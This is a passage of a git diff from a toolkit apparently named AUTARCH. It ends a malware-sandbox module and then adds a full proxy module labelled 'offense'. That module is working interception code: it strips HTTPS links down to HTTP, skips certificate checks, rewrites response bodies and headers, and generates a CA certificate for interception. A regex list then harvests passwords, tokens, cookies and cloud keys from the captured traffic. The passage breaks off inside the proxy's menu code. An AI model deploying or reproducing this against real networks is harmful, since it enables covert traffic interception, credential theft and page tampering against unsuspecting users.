result.stderr[:500] if result.stderr else '' + } + + except subprocess.TimeoutExpired: + # Kill container + subprocess.run([self.docker, 'kill', container_name], + capture_output=True) + self._jobs[job_id]['status'] = 'complete' + self._jobs[job_id]['result'] = { + 'ok': True, 'timeout': True, + 'message': 'Analysis timed out (sample may be long-running)' + } + except Exception as e: + self._jobs[job_id]['status'] = 'error' + self._jobs[job_id]['result'] = {'ok': False, 'error': str(e)} + + threading.Thread(target=_run, daemon=True).start() + return job_id + + # ── Report Generation ──────────────────────────────────────────────── + + def generate_report(self, filepath: str, include_dynamic: bool = False) -> Dict: + """Generate comprehensive analysis report.""" + static = self.static_analysis(filepath) + report = { + 'timestamp': datetime.now(timezone.utc).isoformat(), + 'sample': { + 'name': Path(filepath).name, + 'path': filepath, + 'size': static.get('size', 0), + 'hashes': static.get('hashes', {}) + }, + 'static_analysis': static, + 'risk_score': static.get('risk_score', 0), + 'risk_level': static.get('risk_level', 'unknown') + } + + # Save report + report_name = f'report_{static.get("hashes", {}).get("sha256", "unknown")[:16]}.json' + report_path = os.path.join(self.reports_dir, report_name) + with open(report_path, 'w') as f: + json.dump(report, f, indent=2) + + report['report_path'] = report_path + self.analyses.append({ + 'name': Path(filepath).name, + 'report': report_path, + 'risk': report['risk_level'], + 'timestamp': report['timestamp'] + }) + + return {'ok': True, **report} + + def list_reports(self) -> List[Dict]: + """List analysis reports.""" + reports = [] + for f in Path(self.reports_dir).glob('*.json'): + try: + with open(f) as fh: + data = json.load(fh) + reports.append({ + 'name': f.name, + 'path': str(f), + 'sample': data.get('sample', {}).get('name', ''), + 'risk': data.get('risk_level', 'unknown'), + 'timestamp': data.get('timestamp', '') + }) + except Exception: + pass + return reports + + # ── Job Management ─────────────────────────────────────────────────── + + def get_job(self, job_id: str) -> Optional[Dict]: + return self._jobs.get(job_id) + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_sandbox() -> MalwareSandbox: + global _instance + if _instance is None: + _instance = MalwareSandbox() + return _instance + + +# ── CLI Interface ──────────────────────────────────────────────────────────── + +def run(): + """CLI entry point for Malware Sandbox module.""" + sandbox = get_sandbox() + + while True: + status = sandbox.get_status() + print(f"\n{'='*60}") + print(f" Malware Sandbox") + print(f"{'='*60}") + print(f" Docker: {'OK' if status['docker'] else 'NOT AVAILABLE'}") + print(f" Samples: {status['samples']} Analyses: {status['analyses']}") + print() + print(" 1 — Submit Sample") + print(" 2 — Static Analysis") + print(" 3 — Dynamic Analysis (Docker)") + print(" 4 — Full Report") + print(" 5 — List Samples") + print(" 6 — List Reports") + print(" 0 — Back") + print() + + choice = input(" > ").strip() + + if choice == '0': + break + elif choice == '1': + path = input(" File path: ").strip() + if path: + result = sandbox.submit_sample(path) + if result['ok']: + s = result['sample'] + print(f" Submitted: {s['name']} ({s['size']} bytes)") + print(f" SHA256: {s['hashes']['sha256']}") + else: + print(f" Error: {result['error']}") + elif choice == '2': + path = input(" Sample path: ").strip() + if path: + result = sandbox.static_analysis(path) + if result['ok']: + print(f" Type: {result.get('file_type', 'unknown')}") + print(f" Risk: {result['risk_level']} ({result['risk_score']}/100)") + print(f" Strings: {result.get('strings_count', 0)}") + for cat, matches in result.get('indicators', {}).items(): + print(f" {cat}: {', '.join(matches[:5])}") + else: + print(f" Error: {result['error']}") + elif choice == '3': + if not status['docker']: + print(" Docker not available") + continue + path = input(" Sample path: ").strip() + if path: + job_id = sandbox.dynamic_analysis(path) + print(f" Running in sandbox (job: {job_id})...") + while True: + job = sandbox.get_job(job_id) + if job['status'] != 'running': + r = job['result'] + if r.get('ok'): + print(f" Syscalls: {r.get('syscall_count', 0)}") + print(f" Files: {len(r.get('files_accessed', []))}") + print(f" Network: {len(r.get('network_calls', []))}") + else: + print(f" Error: {r.get('error', 'Unknown')}") + break + time.sleep(2) + elif choice == '4': + path = input(" Sample path: ").strip() + if path: + result = sandbox.generate_report(path) + if result['ok']: + print(f" Report: {result['report_path']}") + print(f" Risk: {result['risk_level']} ({result['risk_score']}/100)") + elif choice == '5': + for s in sandbox.list_samples(): + print(f" {s['name']} ({s['size']} bytes)") + elif choice == '6': + for r in sandbox.list_reports(): + print(f" [{r['risk']}] {r['sample']} {r['timestamp'][:19]}") diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/mitm_proxy.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/mitm_proxy.py new file mode 100644 index 0000000..53aaffb --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/mitm_proxy.py @@ -0,0 +1,1147 @@ +""" +AUTARCH MITM Proxy + +HTTP/HTTPS interception proxy with SSL stripping, request/response +modification, traffic logging, WebSocket interception, and upstream chaining. +""" + +import os +import sys +import re +import json +import time +import signal +import socket +import ssl +import threading +import subprocess +import uuid +import http.server +import urllib.request +import urllib.parse +from pathlib import Path +from datetime import datetime +from http.client import HTTPConnection, HTTPSConnection + +# Module metadata +DESCRIPTION = "HTTP(S) interception proxy & traffic analysis" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "offense" + +sys.path.insert(0, str(Path(__file__).parent.parent)) +from core.banner import Colors, clear_screen, display_banner + +try: + from core.paths import get_data_dir, find_tool +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + def find_tool(name): + import shutil + return shutil.which(name) + + +# ── Secret detection patterns ──────────────────────────────────────────── + +SECRET_PATTERNS = [ + (r'(?i)(?:api[_-]?key|apikey)\s*[:=]\s*["\']?([A-Za-z0-9_\-]{16,})', 'API Key'), + (r'(?i)(?:auth(?:orization)?|bearer)\s*[:=]\s*["\']?([A-Za-z0-9_\-\.]{16,})', 'Auth Token'), + (r'(?i)(?:password|passwd|pwd)\s*[:=]\s*["\']?(\S{4,})', 'Password'), + (r'(?i)(?:secret|client_secret)\s*[:=]\s*["\']?([A-Za-z0-9_\-]{16,})', 'Secret'), + (r'(?i)(?:token|access_token|refresh_token)\s*[:=]\s*["\']?([A-Za-z0-9_\-\.]{16,})', 'Token'), + (r'(?i)(?:aws_access_key_id)\s*[:=]\s*["\']?(AKIA[A-Z0-9]{16})', 'AWS Key'), + (r'(?i)(?:aws_secret_access_key)\s*[:=]\s*["\']?([A-Za-z0-9/+=]{40})', 'AWS Secret'), + (r'(?i)(sk-[A-Za-z0-9]{32,})', 'OpenAI Key'), + (r'(?i)(ghp_[A-Za-z0-9]{36,})', 'GitHub PAT'), + (r'(?i)(glpat-[A-Za-z0-9_\-]{20,})', 'GitLab PAT'), + (r'(?i)(?:session|sess_id|sessionid)\s*[:=]\s*["\']?([A-Za-z0-9_\-]{16,})', 'Session ID'), + (r'(?i)(?:cookie)\s*[:=]\s*["\']?(\S{16,})', 'Cookie'), + (r'Authorization:\s*(Basic\s+[A-Za-z0-9+/=]+)', 'Basic Auth Header'), + (r'Authorization:\s*(Bearer\s+[A-Za-z0-9_\-\.]+)', 'Bearer Auth Header'), + (r'(?i)(?:private[_-]?key)\s*[:=]\s*["\']?(\S{16,})', 'Private Key'), + (r'(?i)(eyJ[A-Za-z0-9_\-]+\.eyJ[A-Za-z0-9_\-]+\.[A-Za-z0-9_\-]+)', 'JWT Token'), +] + +_COMPILED_SECRETS = [(re.compile(p), label) for p, label in SECRET_PATTERNS] + + +# ── Built-in Proxy Handler ─────────────────────────────────────────────── + +class _ProxyRequestHandler(http.server.BaseHTTPRequestHandler): + """HTTP proxy request handler that logs traffic and applies rules.""" + + # Shared state — set by MITMProxy before starting the server + mitm = None + + def log_message(self, fmt, *args): + """Suppress default stderr logging.""" + pass + + def _get_upstream(self): + """Return (host, port) for upstream proxy or None.""" + if self.mitm and self.mitm._upstream_proxy: + return self.mitm._upstream_proxy + return None + + def _read_body(self): + """Read request body if Content-Length is present.""" + length = self.headers.get('Content-Length') + if length: + try: + return self.rfile.read(int(length)) + except Exception: + return b'' + return b'' + + def _apply_rules(self, method, url, req_headers, req_body, resp_status=None, + resp_headers=None, resp_body=None, phase='request'): + """Apply matching modification rules. Returns modified values.""" + if not self.mitm: + return req_headers, req_body, resp_headers, resp_body, None + + for rule in self.mitm._rules: + if not rule.get('enabled', True): + continue + + # URL match + url_pattern = rule.get('match_url', '') + if url_pattern: + try: + if not re.search(url_pattern, url, re.IGNORECASE): + continue + except re.error: + continue + + # Method match + match_method = rule.get('match_method', '') + if match_method and match_method.upper() != 'ANY': + if method.upper() != match_method.upper(): + continue + + action = rule.get('action', '') + params = rule.get('params', {}) + + if action == 'block': + return req_headers, req_body, resp_headers, resp_body, 'block' + + if action == 'redirect' and phase == 'request': + return req_headers, req_body, resp_headers, resp_body, params.get('target_url', url) + + if action == 'modify_header' and phase == 'request': + header_name = params.get('header_name', '') + header_value = params.get('header_value', '') + if header_name and req_headers is not None: + req_headers[header_name] = header_value + + if action == 'inject_header' and phase == 'response': + header_name = params.get('header_name', '') + header_value = params.get('header_value', '') + if header_name and resp_headers is not None: + resp_headers[header_name] = header_value + + if action == 'modify_body' and phase == 'response': + search = params.get('search', '') + replace = params.get('replace', '') + if search and resp_body is not None: + try: + if isinstance(resp_body, bytes): + resp_body = resp_body.replace( + search.encode('utf-8', errors='replace'), + replace.encode('utf-8', errors='replace') + ) + else: + resp_body = resp_body.replace(search, replace) + except Exception: + pass + + return req_headers, req_body, resp_headers, resp_body, None + + def _handle_request(self, method): + """Handle all HTTP methods.""" + start_time = time.time() + url = self.path + req_body = self._read_body() + + # Convert headers to dict + req_headers = {} + for key in self.headers: + req_headers[key] = self.headers[key] + + # Apply request-phase rules + req_headers, req_body, _, _, action = self._apply_rules( + method, url, req_headers, req_body, phase='request' + ) + + # Handle block action + if action == 'block': + self.send_response(403) + self.send_header('Content-Type', 'text/plain') + self.end_headers() + self.wfile.write(b'Blocked by AUTARCH MITM Proxy') + if self.mitm: + self.mitm._log_traffic(method, url, 403, req_headers, + req_body, {}, b'Blocked', 0, start_time) + return + + # Handle redirect action + if action and action != 'block': + self.send_response(302) + self.send_header('Location', action) + self.end_headers() + if self.mitm: + self.mitm._log_traffic(method, url, 302, req_headers, + req_body, {'Location': action}, b'', 0, start_time) + return + + # SSL strip: rewrite HTTPS URLs to HTTP in the request + if self.mitm and self.mitm._ssl_strip: + url = url.replace('https://', 'http://') + + # Forward the request + try: + parsed = urllib.parse.urlparse(url) + target_host = parsed.hostname or 'localhost' + target_port = parsed.port or (443 if parsed.scheme == 'https' else 80) + target_path = parsed.path + if parsed.query: + target_path += '?' + parsed.query + + upstream = self._get_upstream() + + if upstream: + # Route through upstream proxy + conn = HTTPConnection(upstream[0], upstream[1], timeout=30) + conn.request(method, url, body=req_body if req_body else None, + headers=req_headers) + elif parsed.scheme == 'https': + ctx = ssl.create_default_context() + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + conn = HTTPSConnection(target_host, target_port, timeout=30, + context=ctx) + conn.request(method, target_path, body=req_body if req_body else None, + headers=req_headers) + else: + conn = HTTPConnection(target_host, target_port, timeout=30) + conn.request(method, target_path, body=req_body if req_body else None, + headers=req_headers) + + resp = conn.getresponse() + resp_body = resp.read() + resp_status = resp.status + resp_headers = dict(resp.getheaders()) + + # Apply response-phase rules + _, _, resp_headers, resp_body, _ = self._apply_rules( + method, url, req_headers, req_body, + resp_status=resp_status, resp_headers=resp_headers, + resp_body=resp_body, phase='response' + ) + + # SSL strip: rewrite HTTPS links to HTTP in response body + if self.mitm and self.mitm._ssl_strip and resp_body: + resp_body = resp_body.replace(b'https://', b'http://') + + # Send response back to client + self.send_response(resp_status) + for key, value in resp_headers.items(): + if key.lower() in ('transfer-encoding', 'content-length', + 'content-encoding'): + continue + self.send_header(key, value) + self.send_header('Content-Length', str(len(resp_body))) + self.end_headers() + self.wfile.write(resp_body) + + # Log traffic + if self.mitm: + self.mitm._log_traffic(method, url, resp_status, req_headers, + req_body, resp_headers, resp_body, + len(resp_body), start_time) + + conn.close() + + except Exception as e: + error_msg = f'MITM Proxy Error: {str(e)}'.encode('utf-8') + self.send_response(502) + self.send_header('Content-Type', 'text/plain') + self.send_header('Content-Length', str(len(error_msg))) + self.end_headers() + self.wfile.write(error_msg) + if self.mitm: + self.mitm._log_traffic(method, url, 502, req_headers, + req_body, {}, error_msg, 0, start_time) + + def do_GET(self): + self._handle_request('GET') + + def do_POST(self): + self._handle_request('POST') + + def do_PUT(self): + self._handle_request('PUT') + + def do_DELETE(self): + self._handle_request('DELETE') + + def do_PATCH(self): + self._handle_request('PATCH') + + def do_HEAD(self): + self._handle_request('HEAD') + + def do_OPTIONS(self): + self._handle_request('OPTIONS') + + def do_CONNECT(self): + """Handle CONNECT for HTTPS tunneling.""" + host_port = self.path.split(':') + host = host_port[0] + port = int(host_port[1]) if len(host_port) > 1 else 443 + + self.send_response(200, 'Connection Established') + self.end_headers() + + # Log the CONNECT request + if self.mitm: + self.mitm._log_traffic('CONNECT', self.path, 200, + dict(self.headers), b'', {}, + b'Tunnel established', 0, time.time()) + + +# ── MITM Proxy Core ────────────────────────────────────────────────────── + +class MITMProxy: + """HTTP/HTTPS interception proxy with traffic logging and rule engine.""" + + _instance = None + + def __init__(self): + self._running = False + self._process = None + self._server = None + self._server_thread = None + self._listen_host = '127.0.0.1' + self._listen_port = 8888 + self._upstream_proxy = None + self._ssl_strip = False + self._use_mitmdump = False + + # Rules engine + self._rules = [] + self._next_rule_id = 1 + + # Traffic log + self._traffic = [] + self._traffic_lock = threading.Lock() + self._next_traffic_id = 1 + self._request_count = 0 + + # Certificate storage + data_dir = Path(get_data_dir()) if callable(get_data_dir) else Path(get_data_dir) + self._mitm_dir = data_dir / 'mitm' + self._cert_dir = self._mitm_dir / 'certs' + self._rules_path = self._mitm_dir / 'rules.json' + self._traffic_path = self._mitm_dir / 'traffic.json' + + self._mitm_dir.mkdir(parents=True, exist_ok=True) + self._cert_dir.mkdir(parents=True, exist_ok=True) + + # Load persisted rules + self._load_rules() + + # ── Proxy Lifecycle ────────────────────────────────────────────── + + def start(self, listen_host='127.0.0.1', listen_port=8888, upstream_proxy=None): + """Start the MITM proxy. + + Tries mitmdump first; falls back to built-in proxy. + Returns dict with status info. + """ + if self._running: + return {'success': False, 'error': 'Proxy already running', + 'host': self._listen_host, 'port': self._listen_port} + + self._listen_host = listen_host + self._listen_port = int(listen_port) + + # Parse upstream proxy + if upstream_proxy: + upstream_proxy = upstream_proxy.strip() + if upstream_proxy: + parts = upstream_proxy.replace('http://', '').replace('https://', '') + if ':' in parts: + h, p = parts.rsplit(':', 1) + try: + self._upstream_proxy = (h, int(p)) + except ValueError: + self._upstream_proxy = None + else: + self._upstream_proxy = (parts, 8080) + else: + self._upstream_proxy = None + + # Try mitmdump first + mitmdump_path = find_tool('mitmdump') + if mitmdump_path: + return self._start_mitmdump(mitmdump_path) + + # Fall back to built-in proxy + return self._start_builtin() + + def _start_mitmdump(self, mitmdump_path): + """Start proxy using mitmdump subprocess.""" + cmd = [ + mitmdump_path, + '--listen-host', self._listen_host, + '--listen-port', str(self._listen_port), + '--set', 'flow_detail=0', + '--set', f'confdir={str(self._cert_dir)}', + ] + + if self._upstream_proxy: + cmd.extend(['--mode', f'upstream:http://{self._upstream_proxy[0]}:{self._upstream_proxy[1]}']) + + if self._ssl_strip: + cmd.extend(['--ssl-insecure']) + + try: + self._process = subprocess.Popen( + cmd, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + creationflags=getattr(subprocess, 'CREATE_NO_WINDOW', 0) + ) + time.sleep(1.0) + + if self._process.poll() is not None: + stderr = self._process.stderr.read().decode('utf-8', errors='replace') + return {'success': False, 'error': f'mitmdump exited: {stderr}'} + + self._running = True + self._use_mitmdump = True + return { + 'success': True, + 'message': f'Proxy started (mitmdump) on {self._listen_host}:{self._listen_port}', + 'host': self._listen_host, + 'port': self._listen_port, + 'engine': 'mitmdump', + 'pid': self._process.pid, + } + except Exception as e: + return {'success': False, 'error': f'Failed to start mitmdump: {str(e)}'} + + def _start_builtin(self): + """Start proxy using built-in HTTP server.""" + try: + _ProxyRequestHandler.mitm = self + + server = http.server.HTTPServer( + (self._listen_host, self._listen_port), + _ProxyRequestHandler + ) + server.timeout = 1 + + self._server = server + self._running = True + self._use_mitmdump = False + + def serve(): + while self._running: + try: + server.handle_request() + except Exception: + if self._running: + continue + break + + self._server_thread = threading.Thread(target=serve, daemon=True, + name='mitm-proxy') + self._server_thread.start() + + return { + 'success': True, + 'message': f'Proxy started (built-in) on {self._listen_host}:{self._listen_port}', + 'host': self._listen_host, + 'port': self._listen_port, + 'engine': 'builtin', + } + except OSError as e: + self._running = False + return {'success': False, 'error': f'Failed to bind {self._listen_host}:{self._listen_port}: {str(e)}'} + except Exception as e: + self._running = False + return {'success': False, 'error': f'Failed to start proxy: {str(e)}'} + + def stop(self): + """Stop the MITM proxy.""" + if not self._running: + return {'success': False, 'error': 'Proxy is not running'} + + self._running = False + + # Kill mitmdump process + if self._process: + try: + self._process.terminate() + self._process.wait(timeout=5) + except Exception: + try: + self._process.kill() + except Exception: + pass + self._process = None + + # Shutdown built-in server + if self._server: + try: + self._server.server_close() + except Exception: + pass + self._server = None + + if self._server_thread: + self._server_thread.join(timeout=3) + self._server_thread = None + + _ProxyRequestHandler.mitm = None + + return {'success': True, 'message': 'Proxy stopped'} + + def is_running(self): + """Check if proxy is active.""" + if self._process: + if self._process.poll() is not None: + self._running = False + self._process = None + return self._running + + def get_status(self): + """Return proxy status information.""" + return { + 'running': self.is_running(), + 'host': self._listen_host, + 'port': self._listen_port, + 'engine': 'mitmdump' if self._use_mitmdump else 'builtin', + 'request_count': self._request_count, + 'traffic_entries': len(self._traffic), + 'rules_count': len(self._rules), + 'ssl_strip': self._ssl_strip, + 'upstream_proxy': f'{self._upstream_proxy[0]}:{self._upstream_proxy[1]}' if self._upstream_proxy else None, + 'pid': self._process.pid if self._process else None, + } + + # ── Certificate Management ─────────────────────────────────────── + + def generate_ca_cert(self): + """Generate a CA certificate for HTTPS interception. + + Uses the cryptography library to create a self-signed CA cert. + Returns dict with cert info or error. + """ + try: + from cryptography import x509 + from cryptography.x509.oid import NameOID + from cryptography.hazmat.primitives import hashes, serialization + from cryptography.hazmat.primitives.asymmetric import rsa + from cryptography.hazmat.backends import default_backend + import datetime as dt + + # Generate RSA private key + key = rsa.generate_private_key( + public_exponent=65537, + key_size=2048, + backend=default_backend() + ) + + # Build CA certificate + subject = issuer = x509.Name([ + x509.NameAttribute(NameOID.COUNTRY_NAME, 'US'), + x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, 'Cyberspace'), + x509.NameAttribute(NameOID.ORGANIZATION_NAME, 'AUTARCH MITM CA'), + x509.NameAttribute(NameOID.COMMON_NAME, 'AUTARCH Interception CA'), + ]) + + cert = ( + x509.CertificateBuilder() + .subject_name(subject) + .issuer_name(issuer) + .public_key(key.public_key()) + .serial_number(x509.random_serial_number()) + .not_valid_before(dt.datetime.utcnow()) + .not_valid_after(dt.datetime.utcnow() + dt.timedelta(days=3650)) + .add_extension( + x509.BasicConstraints(ca=True, path_length=0), + critical=True, + ) + .add_extension( + x509.KeyUsage( + digital_signature=True, key_cert_sign=True, + crl_sign=True, key_encipherment=False, + content_commitment=False, data_encipherment=False, + key_agreement=False, encipher_only=False, + decipher_only=False + ), + critical=True, + ) + .sign(key, hashes.SHA256(), default_backend()) + ) + + # Save private key + key_path = self._cert_dir / 'ca-key.pem' + with open(key_path, 'wb') as f: + f.write(key.private_bytes( + encoding=serialization.Encoding.PEM, + format=serialization.PrivateFormat.TraditionalOpenSSL, + encryption_algorithm=serialization.NoEncryption() + )) + + # Save certificate + cert_path = self._cert_dir / 'ca-cert.pem' + with open(cert_path, 'wb') as f: + f.write(cert.public_bytes(serialization.Encoding.PEM)) + + # Save DER format for browser import + der_path = self._cert_dir / 'ca-cert.der' + with open(der_path, 'wb') as f: + f.write(cert.public_bytes(serialization.Encoding.DER)) + + return { + 'success': True, + 'message': 'CA certificate generated', + 'cert_path': str(cert_path), + 'key_path': str(key_path), + 'der_path': str(der_path), + 'subject': 'AUTARCH Interception CA', + 'valid_days': 3650, + } + + except ImportError: + return {'success': False, 'error': 'cryptography library not installed (pip install cryptography)'} + except Exception as e: + return {'success': False, 'error': f'Failed to generate certificate: {str(e)}'} + + def get_ca_cert(self): + """Return CA certificate content for client installation.""" + cert_path = self._cert_dir / 'ca-cert.pem' + der_path = self._cert_dir / 'ca-cert.der' + + if not cert_path.exists(): + return {'success': False, 'error': 'No CA certificate found. Generate one first.'} + + try: + with open(cert_path, 'r') as f: + pem_data = f.read() + + result = { + 'success': True, + 'pem': pem_data, + 'pem_path': str(cert_path), + } + + if der_path.exists(): + import base64 + with open(der_path, 'rb') as f: + result['der_b64'] = base64.b64encode(f.read()).decode('ascii') + result['der_path'] = str(der_path) + + return result + + except Exception as e: + return {'success': False, 'error': f'Failed to read certificate: {str(e)}'} + + def get_certs(self): + """List generated interception certificates.""" + certs = [] + if self._cert_dir.exists(): + for f in sorted(self._cert_dir.iterdir()): + if f.is_file(): + stat = f.stat() + certs.append({ + 'name': f.name, + 'size': stat.st_size, + 'modified': datetime.fromtimestamp(stat.st_mtime).isoformat(), + 'path': str(f), + }) + return certs + + # ── Rules Engine ───────────────────────────────────────────────── + + def add_rule(self, rule): + """Add a modification rule. + + Rule dict keys: + match_url: regex pattern to match URL + match_method: HTTP method or 'ANY' + action: modify_header | modify_body | inject_header | redirect | block + params: dict with action-specific parameters + """ + rule_entry = { + 'id': self._next_rule_id, + 'match_url': rule.get('match_url', '.*'), + 'match_method': rule.get('match_method', 'ANY'), + 'action': rule.get('action', 'block'), + 'params': rule.get('params', {}), + 'enabled': True, + 'created': datetime.now().isoformat(), + } + + # Validate regex + try: + re.compile(rule_entry['match_url']) + except re.error as e: + return {'success': False, 'error': f'Invalid URL pattern: {str(e)}'} + + # Validate action + valid_actions = ('modify_header', 'modify_body', 'inject_header', 'redirect', 'block') + if rule_entry['action'] not in valid_actions: + return {'success': False, 'error': f'Invalid action. Must be one of: {", ".join(valid_actions)}'} + + self._rules.append(rule_entry) + self._next_rule_id += 1 + self._save_rules() + + return {'success': True, 'rule': rule_entry} + + def remove_rule(self, rule_id): + """Remove a rule by ID.""" + rule_id = int(rule_id) + for i, rule in enumerate(self._rules): + if rule['id'] == rule_id: + removed = self._rules.pop(i) + self._save_rules() + return {'success': True, 'removed': removed} + return {'success': False, 'error': f'Rule {rule_id} not found'} + + def list_rules(self): + """List all active rules.""" + return self._rules + + def enable_rule(self, rule_id): + """Enable a rule.""" + rule_id = int(rule_id) + for rule in self._rules: + if rule['id'] == rule_id: + rule['enabled'] = True + self._save_rules() + return {'success': True, 'rule': rule} + return {'success': False, 'error': f'Rule {rule_id} not found'} + + def disable_rule(self, rule_id): + """Disable a rule.""" + rule_id = int(rule_id) + for rule in self._rules: + if rule['id'] == rule_id: + rule['enabled'] = False + self._save_rules() + return {'success': True, 'rule': rule} + return {'success': False, 'error': f'Rule {rule_id} not found'} + + def _save_rules(self): + """Persist rules to disk.""" + try: + with open(self._rules_path, 'w') as f: + json.dump(self._rules, f, indent=2) + except Exception: + pass + + def _load_rules(self): + """Load rules from disk.""" + if self._rules_path.exists(): + try: + with open(self._rules_path, 'r') as f: + self._rules = json.load(f) + if self._rules: + self._next_rule_id = max(r.get('id', 0) for r in self._rules) + 1 + except Exception: + self._rules = [] + + # ── Traffic Logging ────────────────────────────────────────────── + + def _log_traffic(self, method, url, status, req_headers, req_body, + resp_headers, resp_body, size, start_time): + """Log a traffic entry.""" + duration = round((time.time() - start_time) * 1000, 1) + + # Safely encode body content for JSON storage + def safe_body(body): + if body is None: + return '' + if isinstance(body, bytes): + try: + return body.decode('utf-8', errors='replace')[:10000] + except Exception: + return f'' + return str(body)[:10000] + + # Detect secrets + secrets = self._scan_for_secrets(req_headers, req_body, resp_headers, resp_body) + + entry = { + 'id': self._next_traffic_id, + 'timestamp': datetime.now().isoformat(), + 'method': method, + 'url': url, + 'status': status, + 'request_headers': dict(req_headers) if isinstance(req_headers, dict) else {}, + 'request_body': safe_body(req_body), + 'response_headers': dict(resp_headers) if isinstance(resp_headers, dict) else {}, + 'response_body': safe_body(resp_body), + 'size': size, + 'duration': duration, + 'secrets_found': secrets, + } + + with self._traffic_lock: + self._traffic.append(entry) + self._next_traffic_id += 1 + self._request_count += 1 + + # Keep max 10000 entries in memory + if len(self._traffic) > 10000: + self._traffic = self._traffic[-5000:] + + def get_traffic(self, limit=100, offset=0, filter_url=None, filter_method=None, + filter_status=None): + """Return captured traffic entries with optional filtering.""" + with self._traffic_lock: + entries = list(self._traffic) + + # Apply filters + if filter_url: + try: + pattern = re.compile(filter_url, re.IGNORECASE) + entries = [e for e in entries if pattern.search(e.get('url', ''))] + except re.error: + entries = [e for e in entries if filter_url.lower() in e.get('url', '').lower()] + + if filter_method: + entries = [e for e in entries if e.get('method', '').upper() == filter_method.upper()] + + if filter_status: + try: + status_code = int(filter_status) + entries = [e for e in entries if e.get('status') == status_code] + except (ValueError, TypeError): + pass + + # Sort by most recent first + entries = list(reversed(entries)) + + total = len(entries) + entries = entries[offset:offset + limit] + + # Strip bodies from list view for performance + summary = [] + for e in entries: + summary.append({ + 'id': e['id'], + 'timestamp': e['timestamp'], + 'method': e['method'], + 'url': e['url'][:200], + 'status': e['status'], + 'size': e['size'], + 'duration': e['duration'], + 'secrets_found': len(e.get('secrets_found', [])) > 0, + }) + + return {'entries': summary, 'total': total, 'limit': limit, 'offset': offset} + + def get_request(self, request_id): + """Get full request/response details for a traffic entry.""" + request_id = int(request_id) + with self._traffic_lock: + for entry in self._traffic: + if entry['id'] == request_id: + return {'success': True, 'entry': entry} + return {'success': False, 'error': f'Request {request_id} not found'} + + def clear_traffic(self): + """Clear traffic log.""" + with self._traffic_lock: + self._traffic.clear() + self._request_count = 0 + return {'success': True, 'message': 'Traffic log cleared'} + + def export_traffic(self, fmt='json'): + """Export traffic log.""" + with self._traffic_lock: + entries = list(self._traffic) + + if fmt == 'json': + return { + 'success': True, + 'format': 'json', + 'data': json.dumps(entries, indent=2), + 'count': len(entries), + } + elif fmt == 'csv': + import io + import csv + output = io.StringIO() + writer = csv.writer(output) + writer.writerow(['id', 'timestamp', 'method', 'url', 'status', + 'size', 'duration', 'secrets']) + for e in entries: + writer.writerow([ + e['id'], e['timestamp'], e['method'], e['url'], + e['status'], e['size'], e['duration'], + len(e.get('secrets_found', [])) + ]) + return { + 'success': True, + 'format': 'csv', + 'data': output.getvalue(), + 'count': len(entries), + } + else: + return {'success': False, 'error': f'Unsupported format: {fmt}'} + + # ── Secret Detection ───────────────────────────────────────────── + + def _scan_for_secrets(self, req_headers, req_body, resp_headers, resp_body): + """Scan request/response for secrets and sensitive data.""" + secrets = [] + search_texts = [] + + # Collect all text to scan + if isinstance(req_headers, dict): + for k, v in req_headers.items(): + search_texts.append(f'{k}: {v}') + if req_body: + if isinstance(req_body, bytes): + try: + search_texts.append(req_body.decode('utf-8', errors='replace')) + except Exception: + pass + else: + search_texts.append(str(req_body)) + + if isinstance(resp_headers, dict): + for k, v in resp_headers.items(): + search_texts.append(f'{k}: {v}') + if resp_body: + if isinstance(resp_body, bytes): + try: + search_texts.append(resp_body.decode('utf-8', errors='replace')) + except Exception: + pass + else: + search_texts.append(str(resp_body)) + + combined = '\n'.join(search_texts) + + for pattern, label in _COMPILED_SECRETS: + matches = pattern.findall(combined) + for match in matches: + value = match if isinstance(match, str) else match[0] + # Mask the secret value for display + if len(value) > 8: + masked = value[:4] + '*' * (len(value) - 8) + value[-4:] + else: + masked = value[:2] + '*' * (len(value) - 2) + secrets.append({ + 'type': label, + 'value_masked': masked, + 'location': 'request/response', + }) + + return secrets + + def find_secrets(self, traffic_entry): + """Scan a specific traffic entry for secrets. Returns list of findings.""" + if isinstance(traffic_entry, (int, str)): + result = self.get_request(traffic_entry) + if not result.get('success'): + return [] + traffic_entry = result['entry'] + + return self._scan_for_secrets( + traffic_entry.get('request_headers', {}), + traffic_entry.get('request_body', ''), + traffic_entry.get('response_headers', {}), + traffic_entry.get('response_body', ''), + ) + + # ── SSL Strip ──────────────────────────────────────────────────── + + def ssl_strip_mode(self, enabled=True): + """Toggle SSL stripping (rewrite HTTPS links to HTTP).""" + self._ssl_strip = bool(enabled) + return { + 'success': True, + 'ssl_strip': self._ssl_strip, + 'message': f'SSL stripping {"enabled" if self._ssl_strip else "disabled"}', + } + + # ── CLI Interface ──────────────────────────────────────────────── + + def run(self): + """Interactive CLI for the MITM Proxy module.""" + while True: + clear_screen() + display_banner() + print(f"\n{Colors.BOLD}{Colors.RED}MITM Proxy{Colors.RESET}") + print(f"{Colors.DIM}HTTP(S) interception proxy & traffic analysis{Colors.RESET}\n") + + status = self.get_status() + if status['running']: + print(f"{Colors.GREEN}[+] Proxy RUNNING on {status['host']}:{status['port']}" + f" ({status['engine']}){Colors.RESET}") + print(f" Requests: {status['request_count']} | " + f"Rules: {status['rules_count']} | " + f"SSL Strip: {'ON' if status['ssl_strip'] else 'OFF'}") + if status['upstream_proxy']: + print(f" Upstream: {status['upstream_proxy']}") + else: + print(f"{Colors.YELLOW}[-] Proxy STOPPED{Colors.RESET}") + + print(f"\n{Colors.CYAN}1{Colors.RESET} Start Proxy") + print(f"{Colors.CYAN}2{Colors.RESET} Stop Proxy") + print(f"{Colors.CYAN}3{Colors.RESET} Add Rule") + print(f"{Colors.CYAN}4{Colors.RESET} View Traffic") + print(f"{Colors.CYAN}5{Colors.RESET} Find Secrets") + print(f"{Colors.CYAN}6{Colors.RESET} Generate CA Certificate") + print(f"{Colors.CYAN}7{Colors.RESET} Toggle SSL Strip") + print(f"{Colors.CYAN}8{Colors.RESET} List Rules") + 